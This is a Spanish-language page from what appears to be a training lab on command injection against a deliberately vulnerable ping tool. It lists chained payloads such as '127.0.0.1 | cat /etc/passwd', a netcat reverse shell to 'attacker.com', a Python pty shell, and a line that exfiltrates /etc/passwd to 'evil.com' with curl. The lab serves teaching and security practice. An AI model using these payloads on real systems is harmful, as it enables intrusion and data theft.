Command Injection - Laboratorio Avanzado

Ejecuta comandos del sistema mediante inyección en aplicaciones web vulnerables

💻 LABORATORIO DE COMMAND INJECTION AVANZADO

⚙️Configuración del Sistema

🟡 USER

💻Ping Tool (Vulnerable)

🎯Payloads de Command Injection

basic

advanced

privilege escalation

data exfiltration

📚Técnicas de Inyección

Semicolon (;)

127.0.0.1; whoami

AND (&&)

127.0.0.1 && id

OR (||)

127.0.0.1 || ls -la

Pipe (|)

127.0.0.1 | cat /etc/passwd

🎯Objetivos del Lab

Ejecutar comandos del sistema
Escalar privilegios a root
Establecer reverse shell
Exfiltrar datos sensibles
Enumerar el sistema

Payloads Avanzados

Reverse Shell

nc -e /bin/bash attacker.com 4444

Python Shell

python3 -c "import pty;pty.spawn('/bin/bash')"

Data Exfiltration

base64 /etc/passwd | curl -d @- evil.com